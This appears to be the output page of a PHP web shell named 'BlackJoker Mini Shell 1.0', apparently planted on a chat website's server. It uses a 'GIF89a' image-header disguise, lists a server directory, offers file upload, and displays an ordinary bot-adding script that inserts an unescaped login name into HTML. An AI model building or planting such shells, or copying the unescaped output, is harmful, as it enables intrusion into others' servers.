GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/inc/classes/
Upload File :
Current File : /home/serb/www/chat/inc/classes/doAddBot.php

<?php
	$user_id = $GLOBALS['fc_config']['bot']->getNextId();

	if($GLOBALS['fc_config']['bot']->connectUser2Bot($user_id, $login))
	{
		$txt = '<b>Bot \''.$login.'\' was added succesfully.</b>';
		$this->sendToUser(null, new Message('msg', $this->userid, $GLOBALS['fc_config']['liveSupportMode']?$this->roomid:null, $txt, $this->color));
	}
	else
	{
		$txt = '<b>Bot \''.$login.'\' was not added.</b>';
		$this->sendToUser(null, new Message('msg', $this->userid, $GLOBALS['fc_config']['liveSupportMode']?$this->roomid:null, $txt, $this->color));
	}
?>

./BlackJoker Mini Shell 1.0